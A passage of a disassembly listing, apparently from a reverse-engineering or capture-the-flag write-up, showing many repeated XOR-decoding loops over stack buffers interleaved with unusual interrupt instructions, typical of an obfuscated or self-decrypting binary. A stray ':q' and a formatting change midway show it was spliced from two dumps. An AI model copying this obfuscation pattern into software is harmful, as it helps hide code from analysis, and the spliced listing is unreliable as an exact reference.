0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">bd9: 83 c1 01 add ecx, 0x1</span><br><span class="line">bdc: 83 f9 49 cmp ecx, 0x49</span><br><span class="line">bdf: 75 eb jne 0xbcc</span><br><span class="line">be1: cd 63 int 0x63</span><br><span class="line">be3: be 12 00 00 00 mov esi, 0x12</span><br><span class="line">be8: e9 00 f8 ff ff jmp 0x3ed</span><br><span class="line">bed: b9 22 00 00 00 mov ecx, 0x22</span><br><span class="line">bf2: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">bf7: 89 c8 mov eax, ecx</span><br><span class="line">bf9: 99 cdq</span><br><span class="line">bfa: f7 fe idiv esi</span><br><span class="line">bfc: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">c01: 30 44 0c fe xor BYTE PTR [esp+ecx*1-0x2], al</span><br><span class="line">c05: 83 c1 01 add ecx, 0x1</span><br><span class="line">c08: 83 f9 45 cmp ecx, 0x45</span><br><span class="line">c0b: 75 ea jne 0xbf7</span><br><span class="line">c0d: cd 45 int 0x45</span><br><span class="line">c0f: be 2c 00 00 00 mov esi, 0x2c</span><br><span class="line">c14: e9 d4 f7 ff ff jmp 0x3ed</span><br><span class="line">c19: 8d 74 24 0d lea esi, [esp+0xd]</span><br><span class="line">c1d: b9 13 00 00 00 mov ecx, 0x13</span><br><span class="line">c22: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">c27: 89 c8 mov eax, ecx</span><br><span class="line">c29: 99 cdq</span><br><span class="line">c2a: f7 ff idiv edi</span><br><span class="line">c2c: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">c31: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">c34: 83 c1 01 add ecx, 0x1</span><br><span class="line">c37: 83 f9 27 cmp ecx, 0x27</span><br><span class="line">c3a: 75 eb jne 0xc27</span><br><span class="line">c3c: cd 09 int 0x9</span><br><span class="line">c3e: be 63 00 00 00 mov esi, 0x63</span><br><span class="line">c43: e9 a5 f7 ff ff jmp 0x3ed</span><br><span class="line">c48: b9 0a 00 00 00 mov ecx, 0xa</span><br><span class="line">c4d: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">c52: 89 c8 mov eax, ecx</span><br><span class="line">c54: 99 cdq</span><br><span class="line">c55: f7 fe idiv esi</span><br><span class="line">c57: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">c5c: 30 44 0c 16 xor BYTE PTR [esp+ecx*1+0x16], al</span><br><span class="line">c60: 83 c1 01 add ecx, 0x1</span><br><span class="line">c63: 83 f9 15 cmp ecx, 0x15</span><br><span class="line">c66: 75 ea jne 0xc52</span><br><span class="line">c68: cd 26 int 0x26</span><br><span class="line">c6a: be 53 00 00 00 mov esi, 0x53</span><br><span class="line">c6f: e9 79 f7 ff ff jmp 0x3ed</span><br><span class="line">c74: 8d 74 24 f5 lea esi, [esp-0xb]</span><br><span class="line">c78: b9 2b 00 00 00 mov ecx, 0x2b</span><br><span class="line">c7d: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">c82: 89 c8 mov eax, ecx</span><br><span class="line">c84: 99 cdq</span><br><span class="line">c85: f7 ff idiv edi</span><br><span class="line">c87: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">c8c: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">c8f: 83 c1 01 add ecx, 0x1</span><br><span class="line">c92: 83 f9 57 cmp ecx, 0x57</span><br><span class="line">c95: 75 eb jne 0xc82</span><br><span class="line">c97: cd 33 int 0x33</span><br><span class="line">c99: be 20 00 00 00 mov esi, 0x20</span><br><span class="line">c9e: e9 4a f7 ff ff jmp 0x3ed</span><br><span class="line">ca3: 8d 4c 24 18 lea ecx, [esp+0x18]</span><br><span class="line">ca7: be 08 00 00 00 mov esi, 0x8</span><br><span class="line">cac: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">cb1: 89 f0 mov eax, esi</span><br><span class="line">cb3: 99 cdq</span><br><span class="line">cb4: f7 ff idiv edi</span><br><span class="line">cb6: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">cbb: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">cbe: 83 c6 01 add esi, 0x1</span><br><span class="line">cc1: 83 fe 11 cmp esi, 0x11</span><br><span class="line">cc4: 75 eb jne 0xcb1</span><br><span class="line">cc6: cd 5c int 0x5c</span><br><span class="line">cc8: be 54 00 00 00 mov esi, 0x54</span><br><span class="line">ccd: e9 1b f7 ff ff jmp 0x3ed</span><br><span class="line">cd2: 8d 4c 24 f8 lea ecx, [esp-0x8]</span><br><span class="line">cd6: be 28 00 00 00 mov esi, 0x28</span><br><span class="line">cdb: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">ce0: 89 f0 mov eax, esi</span><br><span class="line">ce2: 99 cdq</span><br><span class="line">ce3: f7 ff idiv edi</span><br><span class="line">ce5: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">cea: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">ced: 83 c6 01 add esi, 0x1</span><br><span class="line">cf0: 83 fe 51 cmp esi, 0x51</span><br><span class="line">cf3: 75 eb jne 0xce0</span><br><span class="line">cf5: cd 17 int 0x17</span><br><span class="line">cf7: be 05 00 00 00 mov esi, 0x5</span><br><span class="line">cfc: e9 ec f6 ff ff jmp 0x3ed</span><br><span class="line">d01: b9 05 00 00 00 mov ecx, 0x5</span><br><span class="line">d06: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">d0b: 89 c8 mov eax, ecx</span><br><span class="line">d0d: 99 cdq</span><br><span class="line">d0e: f7 fe idiv esi</span><br><span class="line">d10: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">d15: 30 44 0c 1b xor BYTE PTR [esp+ecx*1+0x1b], al</span><br><span class="line">d19: 83 c1 01 add ecx, 0x1</span><br><span class="line">d1c: 83 f9 0b cmp ecx, 0xb</span><br><span class="line">d1f: 75 ea jne 0xd0b</span><br><span class="line">d21: cd 1a int 0x1a</span><br><span class="line">d23: be 0c 00 00 00 mov esi, 0xc</span><br><span class="line">d28: e9 c0 f6 ff ff jmp 0x3ed</span><br><span class="line">d2d: 8d 4c 24 0f lea ecx, [esp+0xf]</span><br><span class="line">d31: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">d36: 89 f0 mov eax, esi</span><br><span class="line">d38: 99 cdq</span><br><span class="line">d39: f7 ff idiv edi</span><br><span class="line">d3b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">d40: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">d43: 83 c6 01 add esi, 0x1</span><br><span class="line">d46: 83 fe 23 cmp esi, 0x23</span><br><span class="line">d49: 75 eb jne 0xd36</span><br><span class="line">d4b: cd 07 int 0x7</span><br><span class="line">d4d: be 0b 00 00 00 mov esi, 0xb</span><br><span class="line">d52: e9 96 f6 ff ff jmp 0x3ed</span><br><span class="line">d57: 8d 74 24 f6 lea esi, [esp-0xa]</span><br><span class="line">d5b: b9 2a 00 00 00 mov ecx, 0x2a</span><br><span class="line">d60: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">d65: 89 c8 mov eax, ecx</span><br><span class="line">d67: 99 cdq</span><br><span class="line">d68: f7 ff idiv edi</span><br><span class="line">d6a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">d6f: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">d72: 83 c1 01 add ecx, 0x1</span><br><span class="line">d75: 83 f9 55 cmp ecx, 0x55</span><br><span class="line">d78: 75 eb jne 0xd65</span><br><span class="line">d7a: cd 39 int 0x39</span><br><span class="line">d7c: be 46 00 00 00 mov esi, 0x46</span><br><span class="line">d81: e9 67 f6 ff ff jmp 0x3ed</span><br><span class="line">d86: 8d 4c 24 f8 lea ecx, [esp-0x8]</span><br><span class="line">d8a: be 28 00 00 00 mov esi, 0x28</span><br><span class="line">d8f: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">d94: 89 f0 mov eax, esi</span><br><span class="line">d96: 99 cdq</span><br><span class="line">d97: f7 ff idiv edi</span><br><span class="line">d99: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">d9e: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">da1: 83 c6 01 add esi, 0x1</span><br><span class="line">da4: 83 fe 51 cmp esi, 0x51</span><br><span class="line">da7: 75 eb jne 0xd94</span><br><span class="line">da9: cd 05 int 0x5</span><br><span class="line">dab: be 4c 00 00 00 mov esi, 0x4c</span><br><span class="line">db0: e9 38 f6 ff ff jmp 0x3ed</span><br><span class="line">db5: 8d 74 24 06 lea esi, [esp+0x6]</span><br><span class="line">db9: b9 1a 00 00 00 mov ecx, 0x1a</span><br><span class="line">dbe: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">dc3: 89 c8 mov eax, ecx</span><br><span class="line">dc5: 99 cdq</span><br><span class="line">dc6: f7 ff idiv edi</span><br><span class="line">dc8: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">dcd: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">dd0: 83 c1 01 add ecx, 0x1</span><br><span class="line">dd3: 83 f9 35 cmp ecx, 0x35</span><br><span class="line">dd6: 75 eb jne 0xdc3</span><br><span class="line">dd8: cd 18 int 0x18</span><br><span class="line">dda: be 5b 00 00 00 mov esi, 0x5b</span><br><span class="line">ddf: e9 09 f6 ff ff jmp 0x3ed</span><br><span class="line">de4: 8d 4c 24 0b lea ecx, [esp+0xb]</span><br><span class="line">de8: be 15 00 00 00 mov esi, 0x15</span><br><span class="line">ded: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">df2: 89 f0 mov eax, esi</span><br><span class="line">df4: 99 cdq</span><br><span class="line">df5: f7 ff idiv edi</span><br><span class="line">df7: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">dfc: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">dff: 83 c6 01 add esi, 0x1</span><br><span class="line">e02: 83 fe 2b cmp esi, 0x2b</span><br><span class="line">e05: 75 eb jne 0xdf2</span><br><span class="line">e07: cd 4d int 0x4d</span><br><span class="line">e09: be 0a 00 00 00 mov esi, 0xa</span><br><span class="line">e0e: e9 da f5 ff ff jmp 0x3ed</span><br><span class="line">e13: 8d 4c 24 13 lea ecx, [esp+0x13]</span><br><span class="line">e17: c7 44 24 1c 0d 00 00 00 mov DWORD PTR [esp+0x1c], 0xd</span><br><span class="line">e1f: 8b 44 24 1c mov eax, DWORD PTR [esp+0x1c]</span><br><span class="line">e23: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">e28: 99 cdq</span><br><span class="line">e29: f7 ff idiv edi</span><br><span class="line">e2b: 8b 7c 24 1c mov edi, DWORD PTR [esp+0x1c]</span><br><span class="line">e2f: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">e34: 30 04 39 xor BYTE PTR [ecx+edi*1], al</span><br><span class="line">e37: 89 f8 mov eax, edi</span><br><span class="line">e39: 83 c0 01 add eax, 0x1</span><br><span class="line">e3c: 83 f8 1b cmp eax, 0x1b</span><br><span class="line">e3f: 89 44 24 1c mov DWORD PTR [esp+0x1c], eax</span><br><span class="line">e43: 75 da jne 0xe1f</span><br><span class="line">e45: cd 14 int 0x14</span><br><span class="line">e47: e9 a1 f5 ff ff jmp 0x3ed</span><br><span class="line">e4c: 8d 4c 24 08 lea ecx, [esp+0x8]</span><br><span class="line">e50: be 18 00 00 00 mov esi, 0x18</span><br><span class="line">e55: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">e5a: 89 f0 mov eax, esi</span><br><span class="line">e5c: 99 cdq</span><br><span class="line">e5d: f7 ff idiv edi</span><br><span class="line">e5f: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">e64: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">e67: 83 c6 01 add esi, 0x1</span><br><span class="line">e6a: 83 fe 31 cmp esi, 0x31</span><br><span class="line">e6d: 75 eb jne 0xe5a</span><br><span class="line">e6f: cd 3d int 0x3d</span><br><span class="line">e71: be 07 00 00 00 mov esi, 0x7</span><br><span class="line">e76: e9 72 f5 ff ff jmp 0x3ed</span><br><span class="line">e7b: 8d 74 24 0c lea esi, [esp+0xc]</span><br><span class="line">e7f: b9 14 00 00 00 mov ecx, 0x14</span><br><span class="line">e84: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">e89: 89 c8 mov eax, ecx</span><br><span class="line">e8b: 99 cdq</span><br><span class="line">e8c: f7 ff idiv edi</span><br><span class="line">e8e: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">e93: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">e96: 83 c1 01 add ecx, 0x1</span><br><span class="line">e99: 83 f9 29 cmp ecx, 0x29</span><br><span class="line">e9c: 75 eb jne 0xe89</span><br><span class="line">e9e: cd 19 int 0x19</span><br><span class="line">ea0: be 36 00 00 00 mov esi, 0x36</span><br><span class="line">ea5: e9 43 f5 ff ff jmp 0x3ed</span><br><span class="line">eaa: 8d 74 24 fc lea esi, [esp-0x4]</span><br><span class="line">eae: b9 24 00 00 00 mov ecx, 0x24</span><br><span class="line">eb3: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">eb8: 89 c8 mov eax, ecx</span><br><span class="line">eba: 99 cdq</span><br><span class="line">ebb: f7 ff idiv edi</span><br><span class="line">ebd: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">ec2: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">ec5: 83 c1 01 add ecx, 0x1</span><br><span class="line">ec8: 83 f9 49 cmp ecx, 0x49</span><br><span class="line">ecb: 75 eb jne 0xeb8</span><br><span class="line">ecd: cd 1f int 0x1f</span><br><span class="line">ecf: be 0e 00 00 00 mov esi, 0xe</span><br><span class="line">ed4: e9 14 f5 ff ff jmp 0x3ed</span><br><span class="line">ed9: 8d 74 24 14 lea esi, [esp+0x14]</span><br><span class="line">edd: b9 0c 00 00 00 mov ecx, 0xc</span><br><span class="line">ee2: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">ee7: 89 c8 mov eax, ecx</span><br><span class="line">ee9: 99 cdq</span><br><span class="line">eea: f7 ff idiv edi</span><br><span class="line">eec: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">ef1: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">ef4: 83 c1 01 add ecx, 0x1</span><br><span class="line">ef7: 83 f9 19 cmp ecx, 0x19</span><br><span class="line">efa: 75 eb jne 0xee7</span><br><span class="line">efc: cd 34 int 0x34</span><br><span class="line">efe: be 01 00 00 00 mov esi, 0x1</span><br><span class="line">f03: e9 e5 f4 ff ff jmp 0x3ed</span><br><span class="line">f08: 8d 74 24 f6 lea esi, [esp-0xa]</span><br><span class="line">f0c: b9 2a 00 00 00 mov ecx, 0x2a</span><br><span class="line">f11: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">f16: 89 c8 mov eax, ecx</span><br><span class="line">f18: 99 cdq</span><br><span class="line">f19: f7 ff idiv edi</span><br><span class="line">f1b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">f20: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">f23: 83 c1 01 add ecx, 0x1</span><br><span class="line">f26: 83 f9 55 cmp ecx, 0x55</span><br><span class="line">f29: 75 eb jne 0xf16</span><br><span class="line">f2b: cd 2c int 0x2c</span><br><span class="line">f2d: be 1a 00 00 00 mov esi, 0x1a</span><br><span class="line">f32: e9 b6 f4 ff ff jmp 0x3ed</span><br><span class="line">f37: 8d 74 24 0c lea esi, [esp+0xc]</span><br><span class="line">f3b: b9 14 00 00 00 mov ecx, 0x14</span><br><span class="line">f40: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">f45: 89 c8 mov eax, ecx</span><br><span class="line">f47: 99 cdq</span><br><span class="line">f48: f7 ff idiv edi</span><br><span class="line">f4a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">f4f: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">f52: 83 c1 01 add ecx, 0x1</span><br><span class="line">f55: 83 f9 29 cmp ecx, 0x29</span><br><span class="line">f58: 75 eb jne 0xf45</span><br><span class="line">f5a: cd 0f int 0xf</span><br><span class="line">f5c: be 04 00 00 00 mov esi, 0x4</span><br><span class="line">f61: e9 87 f4 ff ff jmp 0x3ed</span><br><span class="line">f66: b9 23 00 00 00 mov ecx, 0x23</span><br><span class="line">f6b: be 2f 00 00 00 mov esi, 0x2f</span><br><span class="line">f70: 89 c8 mov eax, ecx</span><br><span class="line">f72: 99 cdq</span><br><span class="line">f73: f7 fe idiv esi</span><br><span class="line">f75: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">f7a: 30 44 0c fd xor BYTE PTR [esp+ecx*1-0x3], al</span><br><span class="line">f7e: 83 c1 01 add ecx, 0x1</span><br><span class="line">f81: 83 f9 47 cmp ecx, 0x47</span><br><span class="line">f84: 75 ea jne 0xf70</span><br><span class="line">f86: cd 28 int 0x28</span><br><span class="line">f88: be 49 00 00 00 mov esi, 0x49</span><br><span class="line">f8d: e9 5b f4 ff ff jmp 0x3ed</span><br><span class="line">f92: 8d 74 24 f4 lea esi, [esp-0xc]</span><br><span class="line">f96: b9 2c 00 00 00 mov ecx, 0x2c</span><br><span class="line">f9b: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">fa0: 89 c8 mov eax, ecx</span><br><span class="line">fa2: 99 cdq</span><br><span class="line">fa3: f7 ff idiv edi</span><br><span class="line">fa5: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">faa: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">fad: 83 c1 01 add ecx, 0x1</span><br><span class="line">fb0: 83 f9 59 cmp ecx, 0x59</span><br><span class="line">fb3: 75 eb jne 0xfa0</span><br><span class="line">fb5: cd 60 int 0x60</span><br><span class="line">fb7: be 45 00 00 00 mov esi, 0x45</span><br><span class="line">fbc: e9 2c f4 ff ff jmp 0x3ed</span><br><span class="line">fc1: 8d 74 24 0d lea esi, [esp+0xd]</span><br><span class="line">fc5: b9 13 00 00 00 mov ecx, 0x13</span><br><span class="line">fca: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">fcf: 89 c8 mov eax, ecx</span><br><span class="line">fd1: 99 cdq</span><br><span class="line">fd2: f7 ff idiv edi</span><br><span class="line">fd4: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">fd9: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">fdc: 83 c1 01 add ecx, 0x1</span><br><span class="line">fdf: 83 f9 27 cmp ecx, 0x27</span><br><span class="line">fe2: 75 eb jne 0xfcf</span><br><span class="line">fe4: cd 24 int 0x24</span><br><span class="line">fe6: be 3f 00 00 00 mov esi, 0x3f</span><br><span class="line">feb: e9 fd f3 ff ff jmp 0x3ed</span><br><span class="line">ff0: 8d 4c 24 0b lea ecx, [esp+0xb]</span><br><span class="line">ff4: be 15 00 00 00 mov esi, 0x15</span><br><span class="line">ff9: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">ffe: 89 f0 mov eax, esi</span><br><span class="line">1000: 99 cdq</span><br><span class="line">1001: f7 ff idiv edi</span><br><span class="line">1003: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">1008: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">100b: 83 c6 01 add esi, 0x1</span><br><span class="line">100e: 83 fe 2b cmp esi, 0x2b</span><br><span class="line">1011: 75 eb jne 0xffe</span><br><span class="line">1013: cd 15 int 0x15</span><br><span class="line">1015: be 5c 00 00 00 mov esi, 0x5c</span><br><span class="line">101a: e9 ce f3 ff ff jmp 0x3ed</span><br><span class="line">101f: 8d 4c 24 f8 lea ecx, [esp-0x8]</span><br><span class="line">1023: be 28 00 00 00 mov esi, 0x28</span><br><span class="line">1028: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">102d: 89 f0 mov eax, esi</span><br><span class="line">102f: 99 cdq</span><br><span class="line">1030: f7 ff idiv edi</span><br><span class="line">1032: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">1037: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">103a: 83 c6 01 add esi, 0x1</span><br><span class="line">103d: 83 fe 51 cmp esi, 0x51</span><br><span class="line">1040: 75 eb jne 0x102d</span><br><span class="line">1042: cd 59 int 0x59</span><br><span class="line">1044: be 5e 00 00 00 mov esi, 0x5e</span><br><span class="line">1049: e9 9f f3 ff ff jmp 0x3ed</span><br><span class="line">104e: 8d 4c 24 12 lea ecx, [esp+0x12]</span><br><span class="line">1052: be 0e 00 00 00 mov esi, 0xe</span><br><span class="line">1057: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">105c: 89 f0 mov eax, esi</span><br><span class="line">105e: 99 cdq</span><br><span class="line">105f: f7 ff idiv edi</span><br><span class="line">1061: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">1066: 30 04 31 xor BYTE PTR [ecx+esi*1], al</span><br><span class="line">1069: 83 c6 01 add esi, 0x1</span><br><span class="line">106c: 83 fe 1d cmp esi, 0x1d</span><br><span class="line">106f: 75 eb jne 0x105c</span><br><span class="line">1071: cd 0e int 0xe</span><br><span class="line">1073: be 16 00 00 00 mov esi, 0x16</span><br><span class="line">1078: e9 70 f3 ff ff jmp 0x3ed</span><br><span class="line">107d: 8d 74 24 19 lea esi, [esp+0x19]</span><br><span class="line">1081: b9 07 00 00 00 mov ecx, 0x7</span><br><span class="line">1086: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">108b: 89 c8 mov eax, ecx</span><br><span class="line">108d: 99 cdq</span><br><span class="line">108e: f7 ff idiv edi</span><br><span class="line">1090: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">1095: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">1098: 83 c1 01 add ecx, 0x1</span><br><span class="line">109b: 83 f9 0f cmp ecx, 0xf</span><br><span class="line">109e: 75 eb jne 0x108b</span><br><span class="line">10a0: cd 42 int 0x42</span><br><span class="line">10a2: be 37 00 00 00 mov esi, 0x37</span><br><span class="line">10a7: e9 41 f3 ff ff jmp 0x3ed</span><br><span class="line">10ac: 8d 74 24 15 lea esi, [esp+0x15]</span><br><span class="line">10b0: b9 0b 00 00 00 mov ecx, 0xb</span><br><span class="line">10b5: bf 2f 00 00 00 mov edi, 0x2f</span><br><span class="line">10ba: 89 c8 mov eax, ecx</span><br><span class="line">10bc: 99 cdq</span><br><span class="line">10bd: f7 ff idiv edi</span><br><span class="line">10bf: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">10c4: 30 04 0e xor BYTE PTR [esi+ecx*1], al</span><br><span class="line">10c7: 83 c1 01 add ecx, 0x1</span><br><span class="line">10ca: 83 f9 17 cmp ecx, 0x17:q</span><br><span class="line"></span><br><span class="line">    10cd:       75 eb                   jne    0x10ba</span><br><span class="line">    10cf:       0f a2                   cpuid</span><br><span class="line">    10d1:       be 2e 00 00 00          mov    esi, 0x2e</span><br><span class="line">    10d6:       e9 12 f3 ff ff          jmp    0x3ed</span><br><span class="line">    10db:       8d 4c 24 08             lea    ecx, [esp+0x8]</span><br><span class="line">    10df:       be 18 00 00 00          mov    esi, 0x18</span><br><span class="line">    10e4:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    10e9:       89 f0                   mov    eax, esi</span><br><span class="line">    10eb:       99                      cdq</span><br><span class="line">    10ec:       f7 ff                   idiv   edi</span><br><span class="line">    10ee:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    10f3:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    10f6:       83 c6 01                add    esi, 0x1</span><br><span class="line">    10f9:       83 fe 31                cmp    esi, 0x31</span><br><span class="line">    10fc:       75 eb                   jne    0x10e9</span><br><span class="line">    10fe:       cd 3b                   int    0x3b</span><br><span class="line">    1100:       be 1f 00 00 00          mov    esi, 0x1f</span><br><span class="line">    1105:       e9 e3 f2 ff ff          jmp    0x3ed</span><br><span class="line">    110a:       8d 4c 24 0a             lea    ecx, [esp+0xa]</span><br><span class="line">    110e:       be 16 00 00 00          mov    esi, 0x16</span><br><span class="line">    1113:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1118:       89 f0                   mov    eax, esi</span><br><span class="line">    111a:       99                      cdq</span><br><span class="line">    111b:       f7 ff                   idiv   edi</span><br><span class="line">    111d:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1122:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    1125:       83 c6 01                add    esi, 0x1</span><br><span class="line">    1128:       83 fe 2d                cmp    esi, 0x2d</span><br><span class="line">    112b:       75 eb                   jne    0x1118</span><br><span class="line">    112d:       cd 16                   int    0x16</span><br><span class="line">    112f:       be 25 00 00 00          mov    esi, 0x25</span><br><span class="line">    1134:       e9 b4 f2 ff ff          jmp    0x3ed</span><br><span class="line">    1139:       8d 74 24 f4             lea    esi, [esp-0xc]</span><br><span class="line">    113d:       b9 2c 00 00 00          mov    ecx, 0x2c</span><br><span class="line">    1142:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1147:       89 c8                   mov    eax, ecx</span><br><span class="line">    1149:       99                      cdq</span><br><span class="line">    114a:       f7 ff                   idiv   edi</span><br><span class="line">    114c:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1151:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    1154:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    1157:       83 f9 59                cmp    ecx, 0x59</span><br><span class="line">    115a:       75 eb                   jne    0x1147</span><br><span class="line">    115c:       cd 0c                   int    0xc</span><br><span class="line">    115e:       be 48 00 00 00          mov    esi, 0x48</span><br><span class="line">    1163:       e9 85 f2 ff ff          jmp    0x3ed</span><br><span class="line">    1168:       8d 74 24 03             lea    esi, [esp+0x3]</span><br><span class="line">    116c:       b9 1d 00 00 00          mov    ecx, 0x1d</span><br><span class="line">    1171:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1176:       89 c8                   mov    eax, ecx</span><br><span class="line">    1178:       99                      cdq</span><br><span class="line">    1179:       f7 ff                   idiv   edi</span><br><span class="line">    117b:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1180:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    1183:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    1186:       83 f9 3b                cmp    ecx, 0x3b</span><br><span class="line">    1189:       75 eb                   jne    0x1176</span><br><span class="line">    118b:       cd 64                   int    0x64</span><br><span class="line">    118d:       be 17 00 00 00          mov    esi, 0x17</span><br><span class="line">    1192:       e9 56 f2 ff ff          jmp    0x3ed</span><br><span class="line">    1197:       8d 74 24 fa             lea    esi, [esp-0x6]</span><br><span class="line">    119b:       b9 26 00 00 00          mov    ecx, 0x26</span><br><span class="line">    11a0:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    11a5:       89 c8                   mov    eax, ecx</span><br><span class="line">    11a7:       99                      cdq</span><br><span class="line">    11a8:       f7 ff                   idiv   edi</span><br><span class="line">    11aa:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    11af:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    11b2:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    11b5:       83 f9 4d                cmp    ecx, 0x4d</span><br><span class="line">    11b8:       75 eb                   jne    0x11a5</span><br><span class="line">    11ba:       cd 22                   int    0x22</span><br><span class="line">    11bc:       be 3e 00 00 00          mov    esi, 0x3e</span><br><span class="line">    11c1:       e9 27 f2 ff ff          jmp    0x3ed</span><br><span class="line">    11c6:       8d 4c 24 0f             lea    ecx, [esp+0xf]</span><br><span class="line">    11ca:       be 11 00 00 00          mov    esi, 0x11</span><br><span class="line">    11cf:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    11d4:       89 f0                   mov    eax, esi</span><br><span class="line">    11d6:       99                      cdq</span><br><span class="line">    11d7:       f7 ff                   idiv   edi</span><br><span class="line">    11d9:       0f b6 44 14 20          movzx  eax, BYTE PTR 